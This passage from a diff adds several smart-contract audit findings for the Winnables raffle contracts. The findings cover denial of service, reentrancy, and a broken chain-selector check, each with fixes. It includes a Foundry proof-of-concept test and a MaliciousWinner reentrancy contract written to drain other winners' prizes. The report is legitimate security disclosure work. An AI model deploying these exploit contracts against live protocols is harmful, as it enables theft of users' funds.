[WinnablesTicketManager.sol:436](https://github.com/sherlock-audit/2024-08-winnables-raffles-ShivamDeshmukh21/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicketManager.sol#L436) passes. + +### Internal pre-conditions + +1. Admin needs to lock the raffle prize in `WinnablesPrizeManager` which triggers `_ccipReceive` in `WinnablesTicketManager` and set raffle status to `PRIZE_LOCKED` + +### External pre-conditions + +_No response_ + +### Attack Path + +1. Admin calls `lockEth` or `lockTokens` or `lockNFT` in order to lock in the raffle prize in `WinnablesPrizeManager`. +2. `_ccipReceive` is triggered internally and raffle status is set to `PRIZE_LOCKED`. +3. A malicious user now calls `WinnablesTicketManager::cancelRaffle`, the condition at L436 passes and raffle status now gets set to `CANCELED`. +4. Locked prize gets unlocked on `WinnablesPrizeManager` and can be withdrawn. +5. Admin is unable to ever `createRaffle` as the malicious user can simply call `cancelRaffle` everytime prize is locked. + +### Impact + +The admin is never able to create a raffle using `WinnablesTicketManager::createRaffle`, essentially causing a denial of service. + +### PoC + +As the POC is written in Foundry, you will have to carry out the steps listed below: + +1. Initialize Foundry within the repository by following the steps from [Foundry docs](https://book.getfoundry.sh/config/hardhat?highlight=hardha#adding-foundry-to-a-hardhat-project) + +2. Inside the `test` folder, create a file named `forge-tests/Winnables.t.sol` and add the following lines of code to import the required files: + +```solidity +// SPDX-License-Identifier: UNLICENSED +pragma solidity 0.8.24; + +import {Test} from "forge-std/Test.sol"; +import {console} from "forge-std/console.sol"; +import {CCIPLocalSimulatorFork, Register} from "@chainlink/local/src/ccip/CCIPLocalSimulatorFork.sol"; +import {WinnablesPrizeManager} from "../../contracts/WinnablesPrizeManager.sol"; +import {WinnablesTicketManager} from "../../contracts/WinnablesTicketManager.sol"; +import {WinnablesTicket} from "../../contracts/WinnablesTicket.sol"; +import {IWinnables} from "../../contracts/interfaces/IWinnables.sol"; +import {IWinnablesTicketManager} from "../../contracts/interfaces/IWinnablesTicketManager.sol"; +``` + +3. Add the following testing contract with the required state variables and a `setUp()` function which is called before every test execution: + +```solidity +contract WinnablesPrizeManagerTest is Test { + address linkToken = 0x779877A7B0D9E8603169DdbD7836e478b4624789; + address ccipRouter = 0x0BF3dE8c5D3e8A2B34D2BEeB17ABfCeBaf363A59; + address vrfCoordinator = 0x8103B0A8A00be2DDC778e6e7eaa21791Cd364625; + uint64 subscriptionId = 1; + bytes32 keyHash = 0x787d74caea10b2b357790d5b5247c2f63d1d91572a9846f780606e4d953677ae; + + address alice = makeAddr("alice"); + address bob = makeAddr("bob"); + address admin = makeAddr("admin"); + + WinnablesPrizeManager prizeManager; + WinnablesTicketManager ticketManager; + WinnablesTicket tickets; + + uint256 ethereumFork; + uint256 avalancheFork; + CCIPLocalSimulatorFork ccipLocalSimulatorFork; + Register.NetworkDetails ethereumNetworkDetails; + Register.NetworkDetails avalancheNetworkDetails; + + function setUp() external { + // fork + ethereumFork = vm.createFork(vm.envString("ETHEREUM_SEPOLIA_RPC")); + avalancheFork = vm.createFork(vm.envString("AVALANCHE_FUJI_RPC")); + + // ccip local + vm.selectFork(ethereumFork); + ccipLocalSimulatorFork = new CCIPLocalSimulatorFork(); + vm.makePersistent(address(ccipLocalSimulatorFork)); + ethereumNetworkDetails = ccipLocalSimulatorFork.getNetworkDetails(block.chainid); + vm.selectFork(avalancheFork); + avalancheNetworkDetails = ccipLocalSimulatorFork.getNetworkDetails(block.chainid); + + // DEPLOY CONTRACTS + // ethereum + vm.selectFork(ethereumFork); + vm.startPrank(admin); + prizeManager = + new WinnablesPrizeManager(ethereumNetworkDetails.linkAddress, ethereumNetworkDetails.routerAddress); + ccipLocalSimulatorFork.requestLinkFromFaucet(address(prizeManager), 1 ether); + vm.stopPrank(); + + // avalanche + vm.selectFork(avalancheFork); + vm.startPrank(admin); + tickets = new WinnablesTicket(); + ticketManager = new WinnablesTicketManager( + avalancheNetworkDetails.linkAddress, + vrfCoordinator, + subscriptionId, + keyHash, + address(tickets), + avalancheNetworkDetails.routerAddress + ); + ticketManager.setCCIPCounterpart(address(prizeManager), ethereumNetworkDetails.chainSelector, true); + ccipLocalSimulatorFork.requestLinkFromFaucet(address(ticketManager), 1 ether); + vm.stopPrank(); + } + + // PASTE POC HERE +} +``` + +4. Now add the following test to the file: + +```solidity +function test_CancelRaffleBeforeCreation() external { + // Admin locks in the prize on Ethereum + vm.selectFork(ethereumFork); + hoax(admin, 10 ether); + prizeManager.lockETH{value: 1 ether}(address(ticketManager), avalancheNetworkDetails.chainSelector, 1, 1 ether); + ccipLocalSimulatorFork.switchChainAndRouteMessage(avalancheFork); + + vm.selectFork(avalancheFork); + (,,,,,, IWinnables.RaffleStatus statusBefore,) = ticketManager.getRaffle(1); + // check if raffle status was updated in _ccipReceive + assertEq(uint256(statusBefore), uint256(IWinnables.RaffleStatus.PRIZE_LOCKED)); + + // malicious user alice cancels the raffle + vm.prank(alice); + ticketManager.cancelRaffle(address(prizeManager), ethereumNetworkDetails.chainSelector, 1); + + (,,,,,, IWinnables.RaffleStatus statusAfter,) = ticketManager.getRaffle(1); + // check if raffle status is now set to CANCELED + assertEq(uint256(statusAfter), uint256(IWinnables.RaffleStatus.CANCELED)); + + // createRaffle reverts as expected, admin unable to start raffle + vm.prank(admin); + vm.expectRevert(IWinnablesTicketManager.PrizeNotLocked.selector); + ticketManager.createRaffle(1, uint64(block.timestamp), uint64(block.timestamp + 100), 5, 10, 2); + } +} +``` + +5. Run the test by using command `forge test --mt test_CancelRaffleBeforeCreation -vv` +6. The test passes with the following logs: + +```shell +Ran 1 test for test/forge-tests/Winnables.t.sol:WinnablesPrizeManagerTest +[PASS] test_CancelRaffleBeforeCreation() (gas: 484463) +Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 18.16s (10.69s CPU time) + +Ran 1 test suite in 18.17s (18.16s CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests) +``` + +### Mitigation + +Update the logic in `WinnablesTicketManager::_checkShouldCancel` to only allow the admin to cancel a raffle when its status is `PRIZE_LOCKED` as seen below: + +```diff +function _checkShouldCancel(uint256 raffleId) internal view { + Raffle storage raffle = _raffles[raffleId]; ++ if (raffle.status == RaffleStatus.PRIZE_LOCKED) { ++ _checkRole(msg.sender, 0); ++ } + if (raffle.status != RaffleStatus.IDLE) revert InvalidRaffle(); + if (raffle.endsAt > block.timestamp) revert RaffleIsStillOpen(); + uint256 supply = IWinnablesTicket(TICKETS_CONTRACT).supplyOf(raffleId); + if (supply > raffle.minTicketsThreshold) revert TargetTicketsReached(); + } +``` + +Test the above changes against the following unit test: + +```solidity +function test_Mitigation() external { + // Admin locks in the prize on Ethereum + vm.selectFork(ethereumFork); + hoax(admin, 10 ether); + prizeManager.lockETH{value: 1 ether}(address(ticketManager), avalancheNetworkDetails.chainSelector, 1, 1 ether); + ccipLocalSimulatorFork.switchChainAndRouteMessage(avalancheFork); + + vm.selectFork(avalancheFork); + (,,,,,, IWinnables.RaffleStatus statusBefore,) = ticketManager.getRaffle(1); + // check if raffle status was updated in _ccipReceive + assertEq(uint256(statusBefore), uint256(IWinnables.RaffleStatus.PRIZE_LOCKED)); + + // malicious user alice tries to cancel the raffle unsuccessfully + vm.prank(alice); + vm.expectRevert(abi.encodeWithSelector(Roles.MissingRole.selector, alice, 0)); + ticketManager.cancelRaffle(address(prizeManager), ethereumNetworkDetails.chainSelector, 1); +} +``` + +The test passes with the following logs: +```shell +Ran 1 test for test/forge-tests/Winnables.t.sol:WinnablesPrizeManagerTest +[PASS] test_Mitigation() (gas: 359791) +Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 16.57s (7.74s CPU time) + +Ran 1 test suite in 16.58s (16.57s CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests) +``` \ No newline at end of file diff --git a/001/577.md b/001/577.md new file mode 100644 index 0000000..4bf84f7 --- /dev/null +++ b/001/577.md @@ -0,0 +1,66 @@ +Small Honeysuckle Sheep + +High + +# DOS of the create raffle functionality + +## Summary +When a prize is locked on Mainnet, there is an CCIP message sent to the `WinnablesTicketManager.sol `on Avalance. This message allows a raffle to be created. However an attacker can cancel the raffle even before started every time, meaning a constant DOS of the create functionality. + +## Vulnerability Detail +Scenario: +- The winnables admin locks a prize on Mainnet +- An attacker monitors the txs on Avalance and sees that WinnablesTicketManager has received an event that the prize is locked +- The raffle status becomes PRIZE_LOCKED: +```solidity + function _ccipReceive( + Client.Any2EVMMessage memory message + ) internal override { + (address _senderAddress) = abi.decode(message.sender, (address)); + bytes32 counterpart = _packCCIPContract(_senderAddress, message.sourceChainSelector); + if (!_ccipContracts[counterpart]) revert UnauthorizedCCIPSender();// message.data is bytes + (uint256 raffleId) = abi.decode(message.data, (uint256));//ok, decoding works. encoded with: abi.encodePacked(raffleId) type uint256, + if (_raffles[raffleId].status != RaffleStatus.NONE) {// existing raffle, cannot be created, mistake by the prizeManager + // The raffle cannot be created, send back a cancel message to unlock the prize + _sendCCIPMessage( + _senderAddress, + message.sourceChainSelector, + abi.encodePacked(uint8(CCIPMessageType.RAFFLE_CANCELED), raffleId) + ); + return; + } + _raffles[raffleId].status = RaffleStatus.PRIZE_LOCKED; + + emit RafflePrizeLocked( + message.messageId, + message.sourceChainSelector, + raffleId + ); + } +``` +- Immediately after this tx, the attacker calls WinnablesTicketManager::cancelRaffle() +- The raffle is canceled, this happens each time the winnables team tries to lock prizes and create raffles: raffles[raffleId].status = RaffleStatus.CANCELED; + + +This attack is possible because the logic for validating if a raffle could be canceled checks for PRIZE_LOCKED status + +```solidity + function _checkShouldCancel(uint256 raffleId) internal view { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status == RaffleStatus.PRIZE_LOCKED) return; + ... + } +``` + + +## Impact +DOS of create raffle functionality, loss of LINK tokens for the winnables protocol for CCIP messaging, reputation loss +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L279 +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L436 +## Tool used + +Manual Review + +## Recommendation +Consider only admin roles to have the ability to cancel raffles diff --git a/001/580.md b/001/580.md new file mode 100644 index 0000000..50be1a6 --- /dev/null +++ b/001/580.md @@ -0,0 +1,85 @@ +Teeny Marmalade Ladybug + +Medium + +# Admin Can Manipulate Raffle Outcomes by Minting Unlimited Tickets + +### Summary + +Here’s the rephrased version: + +The admin has the ability to assign any role to any user via the `Roles::setRole` function and uses this capability to grant themselves the `1` role in the `WinnablesTicket` contract: + +```solidity + function setRole(address user, uint8 role, bool status) external virtual onlyRole(0) { + _setRole(user, role, status); + } +``` + +With the `1` role, the admin can directly mint tickets using the `WinnablesTicket` contract's `mint` function. This function is intended to be invoked through the `WinnablesTicketManager::buyTickets` function, which enforces checks for raffle duration, `maxHoldings`, and `maxTickets` via the `_checkTicketPurchaseable` internal function: + +```solidity + function buyTickets(uint256 raffleId,uint16 ticketCount,uint256 blockNumber,bytes calldata signature) external payable { + if (ticketCount == 0) revert InvalidTicketCount(); + _checkTicketPurchaseable(raffleId, ticketCount); +``` + +The conditions within `_checkTicketPurchaseable` ensure that tickets can only be purchased within the raffle's duration, and that a single user can only purchase tickets up to the `maxTickets` limit. + +However, when the [`WinnablesTicket::mint` function](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/e8b0603f6a155c7505dacc77194ae6789d0dbe7a/public-contracts/contracts/WinnablesTicket.sol#L182-L199) is called directly, these conditions are not enforced. This allows the admin to mint an unlimited number of tickets without any restrictions, even after the raffle duration has ended. + +Since the admin can mint tickets freely after the raffle's duration has expired, they avoid any potential losses from issuing additional tickets. + +As a result, the admin can allocate these tickets to selected individuals or themselves, thereby manipulating the raffle’s outcome. By issuing an excessive number of tickets, the admin can artificially increase the chances of certain participants or themselves winning the raffle. + +### Root Cause + +The `mint` function in the `WinnablesTicket` contract does not enforce constraints like `maxHoldings` or `maxTickets`, allowing admin with the `1` role to mint an arbitrary number of tickets. + +### Internal pre-conditions + +The admin assigns themselves the `1` role in `WinnablesTicket` contract, which grants the ability to call the `mint` function. + +### External pre-conditions + +None + +### Attack Path + +1. The admin assigns themselves the `1` role within the `WinnablesTicket` contract. +2. The admin calls the `mint` function to create an unlimited number of tickets, bypassing any restrictions related to `maxHoldings` or `maxTickets`. +3. The admin mints these tickets for a specific participant, significantly increasing their chances of winning the raffle. +4. The raffle proceeds, but the outcome is manipulated, with the favored participant holding a disproportionate number of tickets compared to others. + +### Impact + +Users suffer from a skewed and unfair raffle where the chances of winning are artificially manipulated by the admin. + +### PoC + +_No response_ + +### Mitigation + +Restrict the `WinnablesTicket::mint` function so that it can only be called by the `WinnablesTicketManager` contract. Create a `TicketManager` variable and function that sets the variable with `WinnablesTicketManager` contract's address value. Add the following lines to the `WinnablesTicket::mint` function: +```solidity + function mint(address to, uint256 id, uint256 amount) external onlyRole(1) { +++ if(msg.sender != address(WinnablesTicketManager)) revert; + if (to == address(0)) { + revert TransferToAddressZero(); + } + address operator = msg.sender; + uint256 startId = _supplies[id]; + + unchecked { + _balances[id][to] += amount; + _supplies[id] = startId + amount; + } + + _ticketOwnership[id][startId] = to; + emit NewTicket(id, startId, amount); + emit TransferSingle(operator, address(0), to, id, amount); + + _doSafeTransferAcceptanceCheck(operator, address(0), to, id, amount); + } +``` \ No newline at end of file diff --git a/001/581.md b/001/581.md new file mode 100644 index 0000000..e898a73 --- /dev/null +++ b/001/581.md @@ -0,0 +1,83 @@ +Smooth Frost Lobster + +Medium + +# Frontrunning Vulnerability in `refundPlayers` Function in WinnablesTicketManager.sol Leading to Denial of Service + +## Summary +The `refundPlayers` function in the WinnablesTicketManager.sol contract is vulnerable to a frontrunning attack where an attacker can manipulate the function's behavior, causing the entire refund operation to revert if one player has already been refunded. This vulnerability can lead to a denial of service, preventing the admin from processing refunds for other players in the affected raffle. + +## Vulnerability Detail +The `refundPlayers` function allows refunds to be issued to players of a canceled raffle. However, the logic includes a check to ensure that a player has not already been refunded: + +```solidity +if (((participation >> 160) & 1) == 1) + revert PlayerAlreadyRefunded(player); +``` + +If this condition is met (indicating that the player has already been refunded), the function reverts, halting the refund process for all players in that transaction. This creates a vulnerability where an attacker can frontrun the transaction and refund a player before the admin processes the refunds, causing the admin's transaction to revert if it includes that player. + +This can lead to a situation where legitimate players are unable to receive their refunds, potentially locking their funds indefinitely. + +## Impact +The impact of this issue includes: + + - **Denial of Service**: The entire refund operation can be halted, preventing all players from being refunded if any one player has already been refunded. + +## Code Snippet +The vulnerable code is as follows: + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicketManager.sol#L215 + +```solidity +function refundPlayers( + uint256 raffleId, + address[] calldata players +) external { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status != RaffleStatus.CANCELED) revert InvalidRaffle(); + for (uint256 i = 0; i < players.length; ) { + address player = players[i]; + uint256 participation = uint256(raffle.participations[player]); + if (((participation >> 160) & 1) == 1) + revert PlayerAlreadyRefunded(player); // Vulnerability is here + raffle.participations[player] = bytes32(participation | (1 << 160)); + uint256 amountToSend = (participation & type(uint128).max); + _sendETH(amountToSend, player); + emit PlayerRefund(raffleId, player, bytes32(participation)); + unchecked { + ++i; + } + } +} +``` + +## Tool used + +Manual Review + +## Recommendation +```diff +function refundPlayers( + uint256 raffleId, + address[] calldata players +) external { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status != RaffleStatus.CANCELED) revert InvalidRaffle(); + for (uint256 i = 0; i < players.length; ) { + address player = players[i]; + uint256 participation = uint256(raffle.participations[player]); +- if (((participation >> 160) & 1) == 1) +- revert PlayerAlreadyRefunded(player); ++ if (((participation >> 160) & 1) != 1) { // Skip already refunded players + raffle.participations[player] = bytes32(participation | (1 << 160)); + uint256 amountToSend = (participation & type(uint128).max); + _sendETH(amountToSend, player); + emit PlayerRefund(raffleId, player, bytes32(participation)); ++ } + unchecked { + ++i; + } + } +} +``` \ No newline at end of file diff --git a/001/582.md b/001/582.md new file mode 100644 index 0000000..b558893 --- /dev/null +++ b/001/582.md @@ -0,0 +1,77 @@ +Dandy Cornflower Swift + +Medium + +# attacker can prevent owner from withdrawing tokens + +## **Summary** + +attacker can easily block `withdrawTokens()` function in `WinnablesTicketManager` contract due to wrong check. + +## **Vulnerability Detail** + +lets check `withdrawTokens()` function: + +```solidity +function withdrawTokens(address tokenAddress, uint256 amount) external onlyRole(0) { + IERC20 token = IERC20(tokenAddress); + uint256 balance = token.balanceOf(address(this)); + if (amount < balance) revert InsufficientBalance(); + token.safeTransfer(msg.sender, amount); + } +``` + +The function contains this check: + +```solidity +if (amount < balance) revert InsufficientBalance(); +``` + +but this should be implemented opposite, like this: + +```solidity +if (amount > balance) revert InsufficientBalance(); +``` + +the only way that owner be able to withdraw is setting input amount = balance of input token. the issue is attacker can front-run every withdraw transaction and transfer `1 wei` of input token to contract and make `withdrawTokens()` function revert. + +the front-run will make balance greater than amount and as a result the owner transaction will revert. + +```solidity +if (amount < balance) revert InsufficientBalance(); +``` + +## **Impact** + +DOS of `withdrawTokens()` function. An attacker can easily block the owner withdrawals. + +## **Code Snippet** + +```solidity +function withdrawTokens(address tokenAddress, uint256 amount) external onlyRole(0) { + IERC20 token = IERC20(tokenAddress); + uint256 balance = token.balanceOf(address(this)); + if (amount < balance) revert InsufficientBalance(); + token.safeTransfer(msg.sender, amount); + } +``` + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/e8b0603f6a155c7505dacc77194ae6789d0dbe7a/public-contracts/contracts/WinnablesTicketManager.sol#L292-L297 + +## **Tool used** + +Manual Review + +## **Recommendation** + +Consider modifying the `withdrawTokens()` function like this: + +```diff +function withdrawTokens(address tokenAddress, uint256 amount) external onlyRole(0) { + IERC20 token = IERC20(tokenAddress); + uint256 balance = token.balanceOf(address(this)); +- if (amount < balance) revert InsufficientBalance(); ++ if (amount > balance) revert InsufficientBalance(); + token.safeTransfer(msg.sender, amount); + } +``` \ No newline at end of file diff --git a/001/583.md b/001/583.md new file mode 100644 index 0000000..48c5070 --- /dev/null +++ b/001/583.md @@ -0,0 +1,172 @@ +Glamorous Porcelain Toad + +High + +# `_packCCIPContract` function zero out the chain selector unintentionally causing the address to call from any chain. + +### Summary + +CCIPReceive function can be trigerred from any arbitrary chain, where an attacker can deploy a smart contract to an address that have been configured for some other chain because the chain id is never in consideration and is zeroed out. + +### Root Cause + +The following function is used to configure the address and the chain from which messaged can be received and important function like choosing the winner, cancelling the raffle and distribution can be done. + +It is implemented as follow: + +```solidity + function _setCCIPCounterpart( + address contractAddress, + uint64 chainSelector, + bool enabled + ) internal { + bytes32 counterpart = _packCCIPContract(contractAddress, chainSelector); + _ccipContracts[counterpart] = enabled; + } +``` + +Here note that chain selector is 64 bits. + +Now let's look at the code for _packCCIPContract + +```solidity + function _packCCIPContract(address contractAddress, uint64 chainSelector) + return bytes32( + uint256(uint160(contractAddress)) | + uint256(chainSelector << 160) + ); + } + +``` + +The problem is following code in above snippet + +```solidity +uint256(chainSelector << 160) +``` + +We left shift a 64 bit number by 160 bit zeroing it all out. + +This behaviour can be tested in foundry by using the following code: + +```solidity +// SPDX-License-Identifier: UNLICENSED +pragma solidity ^0.8.13; + +import {Test, console} from "forge-std/Test.sol"; + +contract winnableTest is Test { + function _packCCIPContract(address contractAddress, uint64 chainSelector) internal pure returns(bytes32) { + return bytes32( + uint256(uint160(contractAddress)) | + uint256(chainSelector << 160) + ); + } + + function _unpackCCIPContract(bytes32 packed) internal pure returns(address contractAddress, uint64 chainSelector) { + contractAddress = address(uint160(uint256(packed))); + chainSelector = uint64(uint256(packed) >> 160); +} + + function test_encode_decode_fuzz(address _contractAddress, uint64 _chainSelector) public + { + vm.assume(_chainSelector != 0); + vm.assume(_contractAddress != address(0)); + + bytes32 packed = _packCCIPContract(_contractAddress, _chainSelector); + console.log("Packed: "); + console.logBytes32(packed); + (address contractAddress, uint64 chainSelector) = _unpackCCIPContract(packed); + assertEq(_contractAddress, contractAddress); + assertEq(_chainSelector, chainSelector); + } + + + function test_encode_decode_comparison_fuzz(address _contractAddress, uint64 _chainSelector) public + { + vm.assume(_chainSelector != 0); + vm.assume(_contractAddress != address(0)); + + uint64 _chainSelectorHardcoded = 98774893; + + bytes32 packedHardCoded = _packCCIPContract(_contractAddress, _chainSelectorHardcoded); + + bytes32 packed = _packCCIPContract(_contractAddress, _chainSelector); + console.log("Packed: "); + console.logBytes32(packed); + console.log("Packed Hardcoded: "); + console.logBytes32(packedHardCoded); + + assert(packed != packedHardCoded); + + } + +} + +``` + + + +### Internal pre-conditions + +1. Admin set up a CCIP counter part, let's say addres 0x1 on base chain with id of 1. +2. The stored bytes 32 counter part will be 0x1..000, instead of 0x1...001 (this is arbitary but makes sense). +3. Now since only the address is stored and chain id is zeroed out, it will generate the same counterpart for every chain. +4. So let's say someone deploys a contract on address 0x01 and tries to send a message to winnable smart conteract on EVM, following check will pass: + +```solidity + function _ccipReceive( + Client.Any2EVMMessage memory message + ) internal override { + (address _senderAddress) = abi.decode(message.sender, (address)); + + + // ccip router calls it, sender address from any chain can call it, what if the address is controlled by some AAA wallet. + bytes32 counterpart = _packCCIPContract(_senderAddress, message.sourceChainSelector); + if (!_ccipContracts[counterpart]) revert UnauthorizedCCIPSender(); + + CCIPMessageType messageType = CCIPMessageType(uint8(message.data[0])); + uint256 raffleId; + address winner; + if (messageType == CCIPMessageType.RAFFLE_CANCELED) { + raffleId = _decodeRaffleCanceledMessage(message.data); + _cancelRaffle(raffleId); + return; + } + (raffleId, winner) = _decodeWinnerDrawnMessage(message.data); + _rafflePrize[raffleId].winner = winner; + emit WinnerPropagated(raffleId, winner); + } + +``` + +Look at following lines: +```solidity + bytes32 counterpart = _packCCIPContract(_senderAddress, message.sourceChainSelector); + if (!_ccipContracts[counterpart]) revert UnauthorizedCCIPSender(); +``` + +If message is coming from address 0x01 from base which is winnable controlled, or it is coming from 0x01 from optimism let's say which is attacker controlled address it will run the logic and the if condition will pass since in both cases it check for 0x1000 which is set, and gives all the power to the attacker where he could cencel raffles, draw winner arbitrarily, or change the raffle status. Anything in ccip receive on both ends is in attacker control. + + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L260-L278 + +### External pre-conditions + +_No response_ + +### Attack Path + +Discribed the attack path already. + +### Impact + +All the control will go to arbitrary address on and arbitrary chain, only requirement is that, that chain must have chain link ccip deployed. + +### PoC + +Can provide if required. + +### Mitigation + +Correct the logic for bit shifting, make it higher precision and than do the bit shifting that will prevent it from zeroing out. \ No newline at end of file diff --git a/001/585.md b/001/585.md new file mode 100644 index 0000000..77acefb --- /dev/null +++ b/001/585.md @@ -0,0 +1,119 @@ +Sticky Sandstone Cuckoo + +High + +# Winner can steal prizes of other winners + +## Summary +Winner can steal other raffles' prizes by reentering the `claimPrize(...)` function + +## Vulnerability Detail +Let's consider this attack scenario: +- raffle1 is created +- users are buying tickets +- winner1 is drawn and propagated +- admin calls `withdrawETH()` and `lockETH()` +- raffle2 is created +- users are buying tickets +- winner2 is drawn and propagated +- admin calls `withdrawETH()` and `lockETH()` +- winner2 is actually a malicious smart contract that calls `claimPrize()` a first time on `raffle1` which will pass because this code will only be executed in the last entrance, the one where the malicious contract is actually the winner: +```solidity + if (msg.sender != rafflePrize.winner) revert UnauthorizedToClaim(); + if (rafflePrize.status == RafflePrizeStatus.CLAIMED) revert AlreadyClaimed(); + rafflePrize.status = RafflePrizeStatus.CLAIMED; + emit PrizeClaimed(raffleId, msg.sender); +``` +Since `_sendETHPrize(...)` will send the prize of `raffle1` in the `receive()` of the malicious smart contract, where a 2nd call to `claimPrize(...)` will be made, but this time for `raffle2` (the raffle actually won by the malicious contract). For this 2nd entrance, the entire `claimPrize(...)` function will be successfully executed. +Here's the winner2/malicious contract code: +```solidity +// SPDX-License-Identifier: MIT + +pragma solidity ^0.8.25; + +import "./interfaces/IWinnablesTicketManager.sol"; +import "./interfaces/IWinnablesPrizeManager.sol"; +import "@openzeppelin/contracts/token/ERC1155/utils/ERC1155Holder.sol"; + + contract MaliciousWinner is ERC1155Holder { + address private owner; + IWinnablesTicketManager private ticketManager; + IWinnablesPrizeManager private prizeManager; + bool private lastEntrance; + + constructor(address _ticketManager, address _prizeManager) { + owner = msg.sender; + ticketManager = IWinnablesTicketManager(_ticketManager); + prizeManager = IWinnablesPrizeManager(_prizeManager); + } + + function withdrawAll() external { + (bool success, ) = owner.call{ value: address(this).balance }(""); + require(success, "transfer failed"); + } + + function participate(uint256 raffleId, + uint16 ticketCount, + uint256 blockNumber, + bytes calldata signature) external payable { + require(msg.sender == owner, "not the owner"); + ticketManager.buyTickets(raffleId, + ticketCount, + blockNumber, + signature); + // or + ticketManager.call(abi.encodeWithSignature( + "buyTickets(raffleId, ticketCount, blockNumber, signature)", + raffleId, ticketCount, blockNumber, signature)) + {value: 100}; + } + + function attack(uint256 raffleId) external { // raffleId should be the id of the raffle of type ETH won by another innocent winner that has not claimed his prize yet + require(msg.sender == owner, "not the owner"); + prizeManager.claimPrize(raffleId); + } + + receive() external payable { + if (!lastEntrance) { + lastEntrance = true; + prizeManager.claimPrize(raffleId); // raffleId should be the id of the raffle won by this contract + } + } +} +``` +## Impact +Malicious winner steals innocent winners' prize + +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L105 + +## Tool used +Manual Review + +## Recommendation +Fix the bug by making the following changes that respect the CEI pattern: +```diff +function claimPrize(uint256 raffleId) external { + RafflePrize storage rafflePrize = _rafflePrize[raffleId]; + RaffleType raffleType = rafflePrize.raffleType; ++ if (msg.sender != rafflePrize.winner) revert UnauthorizedToClaim(); ++ if (rafflePrize.status == RafflePrizeStatus.CLAIMED) revert AlreadyClaimed(); ++ rafflePrize.status = RafflePrizeStatus.CLAIMED; + if (raffleType == RaffleType.NFT) { + NFTInfo storage raffle = _nftRaffles[raffleId]; + _nftLocked[raffle.contractAddress][raffle.tokenId] = false; + _sendNFTPrize(raffle.contractAddress, raffle.tokenId, msg.sender); + } else if (raffleType == RaffleType.TOKEN) { + TokenInfo storage raffle = _tokenRaffles[raffleId]; + unchecked { _tokensLocked[raffle.tokenAddress] -= raffle.amount; } + _sendTokenPrize(raffle.tokenAddress, raffle.amount, msg.sender); + } else if (raffleType == RaffleType.ETH) { + unchecked { _ethLocked -= _ethRaffles[raffleId]; } + _sendETHPrize(_ethRaffles[raffleId], msg.sender); // @audit reentrancy + } else revert InvalidRaffle(); +- if (msg.sender != rafflePrize.winner) revert UnauthorizedToClaim(); +- if (rafflePrize.status == RafflePrizeStatus.CLAIMED) revert AlreadyClaimed(); +- rafflePrize.status = RafflePrizeStatus.CLAIMED; + emit PrizeClaimed(raffleId, msg.sender); + } +``` \ No newline at end of file diff --git a/001/587.md b/001/587.md new file mode 100644 index 0000000..293729e --- /dev/null +++ b/001/587.md @@ -0,0 +1,169 @@ +Merry Plastic Poodle + +High + +# `WinnablePrizeManager::claimPrize` is vulnerable to reentrancy attacks, allowing a raffle winner to drain `prizeManager` + +## Summary +## Vulnerability Detail +winner of a raffle round is able to call `WinnablePrizeManager::claimPrize` to claim the prize, however, there is a reentrany vulnerability which allows the attacker to claim all the ETH or token (if it calls receiver) balance of `PrizeManager`. +if we look at `claimPrize` function we can see that `checks-effect-interaction` pattern is not implemented correctly, such that the state changes which prevent `claimPrize` function from being called again are updated at the end of the function, after sending prize to the winner: +```solidity + function claimPrize(uint256 raffleId) external { + RafflePrize storage rafflePrize = _rafflePrize[raffleId]; + RaffleType raffleType = rafflePrize.raffleType; + + //@audit-info first, send rewards + if (raffleType == RaffleType.NFT) { + NFTInfo storage raffle = _nftRaffles[raffleId]; + _nftLocked[raffle.contractAddress][raffle.tokenId] = false; + _sendNFTPrize(raffle.contractAddress, raffle.tokenId, msg.sender); + } else if (raffleType == RaffleType.TOKEN) { + TokenInfo storage raffle = _tokenRaffles[raffleId]; + unchecked { + _tokensLocked[raffle.tokenAddress] -= raffle.amount; + } + _sendTokenPrize(raffle.tokenAddress, raffle.amount, msg.sender); + } else if (raffleType == RaffleType.ETH) { + unchecked { + _ethLocked -= _ethRaffles[raffleId]; + } + _sendETHPrize(_ethRaffles[raffleId], msg.sender); + } else revert InvalidRaffle(); + + //@audit-info do state changes here + if (msg.sender != rafflePrize.winner) revert UnauthorizedToClaim(); + if (rafflePrize.status == RafflePrizeStatus.CLAIMED) + revert AlreadyClaimed(); + rafflePrize.status = RafflePrizeStatus.CLAIMED; + emit PrizeClaimed(raffleId, msg.sender); + } +``` +for simplicity lets assume that Alice won `1 ETH` in the `raffleId` of `2` and ETH balance of `PrizeManager` is `5 ETH`: + +1- Alice creates two contracts with same address on ETH and avalanche chain, the avalanche version is used to purchase tickets: +`Attacker.sol` on avalanche: +```solidity +//SPDX-License-Identifier: MIT +pragma solidity 0.8.24; +import {WinnablesPrizeManager} from "./WinnablesPrizeManager.sol"; +import "@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol"; + +contract Attacker { + WinnablesPrizeManager prizeManager; + uint public round; + uint public prizeAmount; + + constructor(address manager) { + prizeManager = WinnablesPrizeManager(manager); + } + + function buyTickets() public payable { + //purchase tickets on avalanch + } + + function callRefund() public payable { + //purchase tickets on avalanch + } + + function withdrawTokens() public payable { + //withdraw tokens + } + + function withdrawETH() public payable { + //withdraw ETH + } + + function onERC1155Received( + address operator, + address from, + uint256 id, + uint256 value, + bytes calldata data + ) external returns (bytes4) { + return IERC1155Receiver.onERC1155Received.selector; + } +} +``` +and `ETH` version is used 